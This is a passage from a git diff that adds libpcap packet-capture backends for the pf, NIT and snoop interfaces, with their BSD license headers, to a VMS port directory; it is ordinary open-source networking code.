nosup); + return (-1); +} + +pcap_t * +pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf) +{ + (void)strlcpy(ebuf, nosup, PCAP_ERRBUF_SIZE); + return (NULL); +} + +int +pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf) +{ + return (0); +} + +int +pcap_setfilter(pcap_t *p, struct bpf_program *fp) +{ + if (p->sf.rfile == NULL) { + (void)snprintf(p->errbuf, sizeof(p->errbuf), + "pcap_setfilter: %s", nosup); + return (-1); + } + if (install_bpf_program(p, fp) < 0) + return (-1); + return (0); +} diff --git a/Pcap-VMS/pcap-vci/pcap-pf.c b/Pcap-VMS/pcap-vci/pcap-pf.c new file mode 100644 index 00000000..0df77024 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-pf.c @@ -0,0 +1,437 @@ +/* + * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * packet filter subroutines for tcpdump + * Extraction/creation by Jeffrey Mogul, DECWRL + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/pcap-pf.c,v 1.69 2002/08/03 20:22:27 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include +#include +#include +#include +#include +#include + +struct mbuf; +struct rtentry; +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "pcap-int.h" + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +/* + * BUFSPACE is the size in bytes of the packet read buffer. Most tcpdump + * applications aren't going to need more than 200 bytes of packet header + * and the read shouldn't return more packets than packetfilter's internal + * queue limit (bounded at 256). + */ +#define BUFSPACE (200 * 256) + +int +pcap_read(pcap_t *pc, int cnt, pcap_handler callback, u_char *user) +{ + register u_char *p, *bp; + struct bpf_insn *fcode; + register int cc, n, buflen, inc; + register struct enstamp *sp; +#ifdef LBL_ALIGN + struct enstamp stamp; +#endif +#ifdef PCAP_FDDIPAD + register int pad; +#endif + + fcode = pc->md.use_bpf ? NULL : pc->fcode.bf_insns; + again: + cc = pc->cc; + if (cc == 0) { + cc = read(pc->fd, (char *)pc->buffer + pc->offset, pc->bufsize); + if (cc < 0) { + if (errno == EWOULDBLOCK) + return (0); + if (errno == EINVAL && + lseek(pc->fd, 0L, SEEK_CUR) + pc->bufsize < 0) { + /* + * Due to a kernel bug, after 2^31 bytes, + * the kernel file offset overflows and + * read fails with EINVAL. The lseek() + * to 0 will fix things. + */ + (void)lseek(pc->fd, 0L, SEEK_SET); + goto again; + } + snprintf(pc->errbuf, sizeof(pc->errbuf), "pf read: %s", + pcap_strerror(errno)); + return (-1); + } + bp = pc->buffer + pc->offset; + } else + bp = pc->bp; + /* + * Loop through each packet. + */ + n = 0; +#ifdef PCAP_FDDIPAD + if (pc->linktype == DLT_FDDI) + pad = pcap_fddipad; + else + pad = 0; +#endif + while (cc > 0) { + if (cc < sizeof(*sp)) { + snprintf(pc->errbuf, sizeof(pc->errbuf), + "pf short read (%d)", cc); + return (-1); + } +#ifdef LBL_ALIGN + if ((long)bp & 3) { + sp = &stamp; + memcpy((char *)sp, (char *)bp, sizeof(*sp)); + } else +#endif + sp = (struct enstamp *)bp; + if (sp->ens_stamplen != sizeof(*sp)) { + snprintf(pc->errbuf, sizeof(pc->errbuf), + "pf short stamplen (%d)", + sp->ens_stamplen); + return (-1); + } + + p = bp + sp->ens_stamplen; + buflen = sp->ens_count; + if (buflen > pc->snapshot) + buflen = pc->snapshot; + + /* Calculate inc before possible pad update */ + inc = ENALIGN(buflen + sp->ens_stamplen); + cc -= inc; + bp += inc; +#ifdef PCAP_FDDIPAD + p += pad; + buflen -= pad; +#endif + pc->md.TotPkts++; + pc->md.TotDrops += sp->ens_dropped; + pc->md.TotMissed = sp->ens_ifoverflows; + if (pc->md.OrigMissed < 0) + pc->md.OrigMissed = pc->md.TotMissed; + + /* + * Short-circuit evaluation: if using BPF filter + * in kernel, no need to do it now. + */ + if (fcode == NULL || + bpf_filter(fcode, p, sp->ens_count, buflen)) { + struct pcap_pkthdr h; + pc->md.TotAccepted++; + h.ts = sp->ens_tstamp; +#ifdef PCAP_FDDIPAD + h.len = sp->ens_count - pad; +#else + h.len = sp->ens_count; +#endif + h.caplen = buflen; + (*callback)(user, &h, p); + if (++n >= cnt && cnt > 0) { + pc->cc = cc; + pc->bp = bp; + return (n); + } + } + } + pc->cc = 0; + return (n); +} + +int +pcap_stats(pcap_t *p, struct pcap_stat *ps) +{ + + /* + * If packet filtering is being done in the kernel: + * + * "ps_recv" counts only packets that passed the filter. + * This does not include packets dropped because we + * ran out of buffer space. (XXX - perhaps it should, + * by adding "ps_drop" to "ps_recv", for compatibility + * with some other platforms. On the other hand, on + * some platforms "ps_recv" counts only packets that + * passed the filter, and on others it counts packets + * that didn't pass the filter....) + * + * "ps_drop" counts packets that passed the kernel filter + * (if any) but were dropped because the input queue was + * full. + * + * "ps_ifdrop" counts packets dropped by the network + * inteface (regardless of whether they would have passed + * the input filter, of course). + * + * If packet filtering is not being done in the kernel: + * + * "ps_recv" counts only packets that passed the filter. + * + * "ps_drop" counts packets that were dropped because the + * input queue was full, regardless of whether they passed + * the userland filter. + * + * "ps_ifdrop" counts packets dropped by the network + * inteface (regardless of whether they would have passed + * the input filter, of course). + * + * These statistics don't include packets not yet read from + * the kernel by libpcap, but they may include packets not + * yet read from libpcap by the application. + */ + ps->ps_recv = p->md.TotAccepted; + ps->ps_drop = p->md.TotDrops; + ps->ps_ifdrop = p->md.TotMissed - p->md.OrigMissed; + return (0); +} + +pcap_t * +pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf) +{ + pcap_t *p; + short enmode; + int backlog = -1; /* request the most */ + struct enfilter Filter; + struct endevp devparams; + + p = (pcap_t *)malloc(sizeof(*p)); + if (p == NULL) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "pcap_open_live: %s", pcap_strerror(errno)); + return (0); + } + memset(p, 0, sizeof(*p)); + p->fd = pfopen(device, O_RDONLY); + if (p->fd < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "pf open: %s: %s\n\ +your system may not be properly configured; see the packetfilter(4) man page\n", + device, pcap_strerror(errno)); + goto bad; + } + p->md.OrigMissed = -1; + enmode = ENTSTAMP|ENBATCH|ENNONEXCL; + if (promisc) + enmode |= ENPROMISC; + if (ioctl(p->fd, EIOCMBIS, (caddr_t)&enmode) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "EIOCMBIS: %s", + pcap_strerror(errno)); + goto bad; + } +#ifdef ENCOPYALL + /* Try to set COPYALL mode so that we see packets to ourself */ + enmode = ENCOPYALL; + (void)ioctl(p->fd, EIOCMBIS, (caddr_t)&enmode);/* OK if this fails */ +#endif + /* set the backlog */ + if (ioctl(p->fd, EIOCSETW, (caddr_t)&backlog) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "EIOCSETW: %s", + pcap_strerror(errno)); + goto bad; + } + /* discover interface type */ + if (ioctl(p->fd, EIOCDEVP, (caddr_t)&devparams) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "EIOCDEVP: %s", + pcap_strerror(errno)); + goto bad; + } + /* HACK: to compile prior to Ultrix 4.2 */ +#ifndef ENDT_FDDI +#define ENDT_FDDI 4 +#endif + switch (devparams.end_dev_type) { + + case ENDT_10MB: + p->linktype = DLT_EN10MB; + p->offset = 2; + break; + + case ENDT_FDDI: + p->linktype = DLT_FDDI; + break; + +#ifdef ENDT_SLIP + case ENDT_SLIP: + p->linktype = DLT_SLIP; + break; +#endif + +#ifdef ENDT_PPP + case ENDT_PPP: + p->linktype = DLT_PPP; + break; +#endif + +#ifdef ENDT_LOOPBACK + case ENDT_LOOPBACK: + /* + * It appears to use Ethernet framing, at least on + * Digital UNIX 4.0. + */ + p->linktype = DLT_EN10MB; + p->offset = 2; + break; +#endif + +#ifdef ENDT_TRN + case ENDT_TRN: + p->linktype = DLT_IEEE802; + break; +#endif + + default: + /* + * XXX - what about ENDT_IEEE802? The pfilt.h header + * file calls this "IEEE 802 networks (non-Ethernet)", + * but that doesn't specify a specific link layer type; + * it could be 802.4, or 802.5 (except that 802.5 is + * ENDT_TRN), or 802.6, or 802.11, or.... That's why + * DLT_IEEE802 was hijacked to mean Token Ring in various + * BSDs, and why we went along with that hijacking. + * + * XXX - what about ENDT_HDLC and ENDT_NULL? + * Presumably, as ENDT_OTHER is just "Miscellaneous + * framing", there's not much we can do, as that + * doesn't specify a particular type of header. + */ + snprintf(ebuf, PCAP_ERRBUF_SIZE, "unknown data-link type %u", + devparams.end_dev_type); + goto bad; + } + /* set truncation */ +#ifdef PCAP_FDDIPAD + if (p->linktype == DLT_FDDI) + /* packetfilter includes the padding in the snapshot */ + snaplen += pcap_fddipad; +#endif + if (ioctl(p->fd, EIOCTRUNCATE, (caddr_t)&snaplen) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "EIOCTRUNCATE: %s", + pcap_strerror(errno)); + goto bad; + } + p->snapshot = snaplen; + /* accept all packets */ + memset(&Filter, 0, sizeof(Filter)); + Filter.enf_Priority = 37; /* anything > 2 */ + Filter.enf_FilterLen = 0; /* means "always true" */ + if (ioctl(p->fd, EIOCSETF, (caddr_t)&Filter) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "EIOCSETF: %s", + pcap_strerror(errno)); + goto bad; + } + + if (to_ms != 0) { + struct timeval timeout; + timeout.tv_sec = to_ms / 1000; + timeout.tv_usec = (to_ms * 1000) % 1000000; + if (ioctl(p->fd, EIOCSRTIMEOUT, (caddr_t)&timeout) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "EIOCSRTIMEOUT: %s", + pcap_strerror(errno)); + goto bad; + } + } + p->bufsize = BUFSPACE; + p->buffer = (u_char*)malloc(p->bufsize + p->offset); + + return (p); + bad: + if (p->fd >= 0) + close(p->fd); + free(p); + return (NULL); +} + +int +pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf) +{ + return (0); +} + +int +pcap_setfilter(pcap_t *p, struct bpf_program *fp) +{ + /* + * See if BIOCSETF works. If it does, the kernel supports + * BPF-style filters, and we do not need to do post-filtering. + */ + p->md.use_bpf = (ioctl(p->fd, BIOCSETF, (caddr_t)fp) >= 0); + if (p->md.use_bpf) { + struct bpf_version bv; + + if (ioctl(p->fd, BIOCVERSION, (caddr_t)&bv) < 0) { + snprintf(p->errbuf, sizeof(p->errbuf), + "BIOCVERSION: %s", pcap_strerror(errno)); + return (-1); + } + else if (bv.bv_major != BPF_MAJOR_VERSION || + bv.bv_minor < BPF_MINOR_VERSION) { + fprintf(stderr, + "requires bpf language %d.%d or higher; kernel is %d.%d", + BPF_MAJOR_VERSION, BPF_MINOR_VERSION, + bv.bv_major, bv.bv_minor); + /* don't give up, just be inefficient */ + p->md.use_bpf = 0; + } + } else { + if (install_bpf_program(p, fp) < 0) + return (-1); + } + + /*XXX this goes in tcpdump*/ + if (p->md.use_bpf) + fprintf(stderr, "tcpdump: Using kernel BPF filter\n"); + else + fprintf(stderr, "tcpdump: Filtering in user process\n"); + return (0); +} diff --git a/Pcap-VMS/pcap-vci/pcap-pf.h b/Pcap-VMS/pcap-vci/pcap-pf.h new file mode 100644 index 00000000..06ed2921 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-pf.h @@ -0,0 +1,19 @@ +/* + * Copyright (c) 1990, 1994 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms are permitted + * provided that the above copyright notice and this paragraph are + * duplicated in all such forms and that any documentation, + * advertising materials, and other materials related to such + * distribution and use acknowledge that the software was developed + * by the University of California, Lawrence Berkeley Laboratory, + * Berkeley, CA. The name of the University may not be used to + * endorse or promote products derived from this software without + * specific prior written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED + * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * @(#) $Header: /tcpdump/master/libpcap/pcap-pf.h,v 1.2.1.1 1999/10/07 23:46:40 mcr Exp $ (LBL) + */ diff --git a/Pcap-VMS/pcap-vci/pcap-snit.c b/Pcap-VMS/pcap-vci/pcap-snit.c new file mode 100644 index 00000000..929c33ec --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-snit.c @@ -0,0 +1,331 @@ +/* + * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * Modifications made to accommodate the new SunOS4.0 NIT facility by + * Micky Liu, micky@cunixc.cc.columbia.edu, Columbia University in May, 1989. + * This module now handles the STREAMS based NIT. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/pcap-snit.c,v 1.58 2002/08/25 21:13:52 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include "pcap-int.h" + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +/* + * The chunk size for NIT. This is the amount of buffering + * done for read calls. + */ +#define CHUNKSIZE (2*1024) + +/* + * The total buffer space used by NIT. + */ +#define BUFSPACE (4*CHUNKSIZE) + +/* Forwards */ +static int nit_setflags(int, int, int, char *); + +int +pcap_stats(pcap_t *p, struct pcap_stat *ps) +{ + + /* + * "ps_recv" counts packets handed to the filter, not packets + * that passed the filter. As filtering is done in userland, + * this does not include packets dropped because we ran out + * of buffer space. + * + * "ps_drop" counts packets dropped inside the "/dev/nit" + * device because of flow control requirements or resource + * exhaustion; it doesn't count packets dropped by the + * interface driver, or packets dropped upstream. As filtering + * is done in userland, it counts packets regardless of whether + * they would've passed the filter. + * + * These statistics don't include packets not yet read from the + * kernel by libpcap or packets not yet read from libpcap by the + * application. + */ + *ps = p->md.stat; + return (0); +} + +int +pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user) +{ + register int cc, n; + register struct bpf_insn *fcode = p->fcode.bf_insns; + register u_char *bp, *cp, *ep; + register struct nit_bufhdr *hdrp; + register struct nit_iftime *ntp; + register struct nit_iflen *nlp; + register struct nit_ifdrops *ndp; + register int caplen; + + cc = p->cc; + if (cc == 0) { + cc = read(p->fd, (char *)p->buffer, p->bufsize); + if (cc < 0) { + if (errno == EWOULDBLOCK) + return (0); + snprintf(p->errbuf, sizeof(p->errbuf), "pcap_read: %s", + pcap_strerror(errno)); + return (-1); + } + bp = p->buffer; + } else + bp = p->bp; + + /* + * loop through each snapshot in the chunk + */ + n = 0; + ep = bp + cc; + while (bp < ep) { + ++p->md.stat.ps_recv; + cp = bp; + + /* get past NIT buffer */ + hdrp = (struct nit_bufhdr *)cp; + cp += sizeof(*hdrp); + + /* get past NIT timer */ + ntp = (struct nit_iftime *)cp; + cp += sizeof(*ntp); + + ndp = (struct nit_ifdrops *)cp; + p->md.stat.ps_drop = ndp->nh_drops; + cp += sizeof *ndp; + + /* get past packet len */ + nlp = (struct nit_iflen *)cp; + cp += sizeof(*nlp); + + /* next snapshot */ + bp += hdrp->nhb_totlen; + + caplen = nlp->nh_pktlen; + if (caplen > p->snapshot) + caplen = p->snapshot; + + if (bpf_filter(fcode, cp, nlp->nh_pktlen, caplen)) { + struct pcap_pkthdr h; + h.ts = ntp->nh_timestamp; + h.len = nlp->nh_pktlen; + h.caplen = caplen; + (*callback)(user, &h, cp); + if (++n >= cnt && cnt >= 0) { + p->cc = ep - bp; + p->bp = bp; + return (n); + } + } + } + p->cc = 0; + return (n); +} + +static int +nit_setflags(int fd, int promisc, int to_ms, char *ebuf) +{ + bpf_u_int32 flags; + struct strioctl si; + struct timeval timeout; + + si.ic_timout = INFTIM; + if (to_ms != 0) { + timeout.tv_sec = to_ms / 1000; + timeout.tv_usec = (to_ms * 1000) % 1000000; + si.ic_cmd = NIOCSTIME; + si.ic_len = sizeof(timeout); + si.ic_dp = (char *)&timeout; + if (ioctl(fd, I_STR, (char *)&si) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "NIOCSTIME: %s", + pcap_strerror(errno)); + return (-1); + } + } + flags = NI_TIMESTAMP | NI_LEN | NI_DROPS; + if (promisc) + flags |= NI_PROMISC; + si.ic_cmd = NIOCSFLAGS; + si.ic_len = sizeof(flags); + si.ic_dp = (char *)&flags; + if (ioctl(fd, I_STR, (char *)&si) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "NIOCSFLAGS: %s", + pcap_strerror(errno)); + return (-1); + } + return (0); +} + +pcap_t * +pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf) +{ + struct strioctl si; /* struct for ioctl() */ + struct ifreq ifr; /* interface request struct */ + int chunksize = CHUNKSIZE; + int fd; + static char dev[] = "/dev/nit"; + register pcap_t *p; + + p = (pcap_t *)malloc(sizeof(*p)); + if (p == NULL) { + strlcpy(ebuf, pcap_strerror(errno), PCAP_ERRBUF_SIZE); + return (NULL); + } + + if (snaplen < 96) + /* + * NIT requires a snapshot length of at least 96. + */ + snaplen = 96; + + memset(p, 0, sizeof(*p)); + p->fd = fd = open(dev, O_RDONLY); + if (fd < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "%s: %s", dev, + pcap_strerror(errno)); + goto bad; + } + + /* arrange to get discrete messages from the STREAM and use NIT_BUF */ + if (ioctl(fd, I_SRDOPT, (char *)RMSGD) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "I_SRDOPT: %s", + pcap_strerror(errno)); + goto bad; + } + if (ioctl(fd, I_PUSH, "nbuf") < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "push nbuf: %s", + pcap_strerror(errno)); + goto bad; + } + /* set the chunksize */ + si.ic_cmd = NIOCSCHUNK; + si.ic_timout = INFTIM; + si.ic_len = sizeof(chunksize); + si.ic_dp = (char *)&chunksize; + if (ioctl(fd, I_STR, (char *)&si) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "NIOCSCHUNK: %s", + pcap_strerror(errno)); + goto bad; + } + + /* request the interface */ + strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); + ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; + si.ic_cmd = NIOCBIND; + si.ic_len = sizeof(ifr); + si.ic_dp = (char *)𝔦 + if (ioctl(fd, I_STR, (char *)&si) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "NIOCBIND: %s: %s", + ifr.ifr_name, pcap_strerror(errno)); + goto bad; + } + + /* set the snapshot length */ + si.ic_cmd = NIOCSSNAP; + si.ic_len = sizeof(snaplen); + si.ic_dp = (char *)&snaplen; + if (ioctl(fd, I_STR, (char *)&si) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "NIOCSSNAP: %s", + pcap_strerror(errno)); + goto bad; + } + p->snapshot = snaplen; + if (nit_setflags(p->fd, promisc, to_ms, ebuf) < 0) + goto bad; + + (void)ioctl(fd, I_FLUSH, (char *)FLUSHR); + /* + * NIT supports only ethernets. + */ + p->linktype = DLT_EN10MB; + + p->bufsize = BUFSPACE; + p->buffer = (u_char *)malloc(p->bufsize); + if (p->buffer == NULL) { + strlcpy(ebuf, pcap_strerror(errno), PCAP_ERRBUF_SIZE); + goto bad; + } + return (p); + bad: + if (fd >= 0) + close(fd); + free(p); + return (NULL); +} + +int +pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf) +{ + return (0); +} + +int +pcap_setfilter(pcap_t *p, struct bpf_program *fp) +{ + + if (install_bpf_program(p, fp) < 0) + return (-1); + return (0); +} diff --git a/Pcap-VMS/pcap-vci/pcap-snoop.c b/Pcap-VMS/pcap-vci/pcap-snoop.c new file mode 100644 index 00000000..10c6b7d4 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-snoop.c @@ -0,0 +1,307 @@ +/* + * Copyright (c) 1993, 1994, 1995, 1996, 1997 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/pcap-snoop.c,v 1.37 2002/07/30 07:48:20 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include "pcap-int.h" + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +int +pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user) +{ + int cc; + register struct snoopheader *sh; + register int datalen; + register int caplen; + register u_char *cp; + +again: + cc = read(p->fd, (char *)p->buffer, p->bufsize); + if (cc < 0) { + /* Don't choke when we get ptraced */ + switch (errno) { + + case EINTR: + goto again; + + case EWOULDBLOCK: + return (0); /* XXX */ + } + snprintf(p->errbuf, sizeof(p->errbuf), + "read: %s", pcap_strerror(errno)); + return (-1); + } + sh = (struct snoopheader *)p->buffer; + datalen = sh->snoop_packetlen; + caplen = (datalen < p->snapshot) ? datalen : p->snapshot; + cp = (u_char *)(sh + 1) + p->offset; /* XXX */ + + if (p->fcode.bf_insns == NULL || + bpf_filter(p->fcode.bf_insns, cp, datalen, caplen)) { + struct pcap_pkthdr h; + ++p->md.stat.ps_recv; + h.ts.tv_sec = sh->snoop_timestamp.tv_sec; + h.ts.tv_usec = sh->snoop_timestamp.tv_usec; + h.len = datalen; + h.caplen = caplen; + (*callback)(user, &h, cp); + return (1); + } + return (0); +} + +int +pcap_stats(pcap_t *p, struct pcap_stat *ps) +{ + register struct rawstats *rs; + struct rawstats rawstats; + + rs = &rawstats; + memset(rs, 0, sizeof(*rs)); + if (ioctl(p->fd, SIOCRAWSTATS, (char *)rs) < 0) { + snprintf(p->errbuf, sizeof(p->errbuf), + "SIOCRAWSTATS: %s", pcap_strerror(errno)); + return (-1); + } + + /* + * "ifdrops" are those dropped by the network interface + * due to resource shortages or hardware errors. + * + * "sbdrops" are those dropped due to socket buffer limits. + * + * As filter is done in userland, "sbdrops" counts packets + * regardless of whether they would've passed the filter. + * + * XXX - does this count *all* Snoop or Drain sockets, + * rather than just this socket? If not, why does it have + * both Snoop and Drain statistics? + */ + p->md.stat.ps_drop = + rs->rs_snoop.ss_ifdrops + rs->rs_snoop.ss_sbdrops + + rs->rs_drain.ds_ifdrops + rs->rs_drain.ds_sbdrops; + + /* + * "ps_recv" counts only packets that passed the filter. + * As filtering is done in userland, this does not include + * packets dropped because we ran out of buffer space. + */ + *ps = p->md.stat; + return (0); +} + +/* XXX can't disable promiscuous */ +pcap_t * +pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf) +{ + int fd; + struct sockaddr_raw sr; + struct snoopfilter sf; + u_int v; + int ll_hdrlen; + int snooplen; + pcap_t *p; + struct ifreq ifr; + + p = (pcap_t *)malloc(sizeof(*p)); + if (p == NULL) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "malloc: %s", + pcap_strerror(errno)); + return (NULL); + } + memset(p, 0, sizeof(*p)); + fd = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP); + if (fd < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "snoop socket: %s", + pcap_strerror(errno)); + goto bad; + } + p->fd = fd; + memset(&sr, 0, sizeof(sr)); + sr.sr_family = AF_RAW; + (void)strncpy(sr.sr_ifname, device, sizeof(sr.sr_ifname)); + if (bind(fd, (struct sockaddr *)&sr, sizeof(sr))) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "snoop bind: %s", + pcap_strerror(errno)); + goto bad; + } + memset(&sf, 0, sizeof(sf)); + if (ioctl(fd, SIOCADDSNOOP, &sf) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "SIOCADDSNOOP: %s", + pcap_strerror(errno)); + goto bad; + } + v = 64 * 1024; + (void)setsockopt(fd, SOL_SOCKET, SO_RCVBUF, (char *)&v, sizeof(v)); + /* + * XXX hack - map device name to link layer type + */ + if (strncmp("et", device, 2) == 0 || /* Challenge 10 Mbit */ + strncmp("ec", device, 2) == 0 || /* Indigo/Indy 10 Mbit, + O2 10/100 */ + strncmp("ef", device, 2) == 0 || /* O200/2000 10/100 Mbit */ + strncmp("eg", device, 2) == 0 || /* Octane/O2xxx/O3xxx Gigabit */ + strncmp("gfe", device, 3) == 0 || /* GIO 100 Mbit */ + strncmp("fxp", device, 3) == 0 || /* Challenge VME Enet */ + strncmp("ep", device, 2) == 0 || /* Challenge 8x10 Mbit EPLEX */ + strncmp("vfe", device, 3) == 0 || /* Challenge VME 100Mbit */ + strncmp("fa", device, 2) == 0 || + strncmp("qaa", device, 3) == 0 || + strncmp("cip", device, 3) == 0 || + strncmp("el", device, 2) == 0) { + p->linktype = DLT_EN10MB; + p->offset = RAW_HDRPAD(sizeof(struct ether_header)); + ll_hdrlen = sizeof(struct ether_header); + } else if (strncmp("ipg", device, 3) == 0 || + strncmp("rns", device, 3) == 0 || /* O2/200/2000 FDDI */ + strncmp("xpi", device, 3) == 0) { + p->linktype = DLT_FDDI; + p->offset = 3; /* XXX yeah? */ + ll_hdrlen = 13; + } else if (strncmp("ppp", device, 3) == 0) { + p->linktype = DLT_RAW; + ll_hdrlen = 0; /* DLT_RAW meaning "no PPP header, just the IP packet"? */ + } else if (strncmp("lo", device, 2) == 0) { + p->linktype = DLT_NULL; + ll_hdrlen = 4; /* is this just like BSD's loopback device? */ + } else { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "snoop: unknown physical layer type"); + goto bad; + } +#ifdef SIOCGIFMTU + /* + * XXX - IRIX appears to give you an error if you try to set the + * capture length to be greater than the MTU, so let's try to get + * the MTU first and, if that succeeds, trim the snap length + * to be no greater than the MTU. + */ + (void)strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); + if (ioctl(fd, SIOCGIFMTU, (char *)&ifr) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "SIOCGIFMTU: %s", + pcap_strerror(errno)); + goto bad; + } + /* + * OK, we got it. + * + * XXX - some versions of IRIX 6.5 define "ifr_mtu" and have an + * "ifru_metric" member of the "ifr_ifru" union in an "ifreq" + * structure, others don't. + * + * I've no idea what's going on, so, if "ifr_mtu" isn't defined, + * we define it as "ifr_metric", as using that field appears to + * work on the versions that lack "ifr_mtu" (and, on those that + * don't lack it, "ifru_metric" and "ifru_mtu" are both "int" + * members of the "ifr_ifru" union, which suggests that they + * may be interchangeable in this case). + */ +#ifndef ifr_mtu +#define ifr_mtu ifr_metric +#endif + if (snaplen > ifr.ifr_mtu + ll_hdrlen) + snaplen = ifr.ifr_mtu + ll_hdrlen; +#endif + + /* + * The argument to SIOCSNOOPLEN is the number of link-layer + * payload bytes to capture - it doesn't count link-layer + * header bytes. + */ + snooplen = snaplen - ll_hdrlen; + if (snooplen < 0) + snooplen = 0; + if (ioctl(fd, SIOCSNOOPLEN, &snooplen) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "SIOCSNOOPLEN: %s", + pcap_strerror(errno)); + goto bad; + } + p->snapshot = snaplen; + v = 1; + if (ioctl(fd, SIOCSNOOPING, &v) < 0) { + 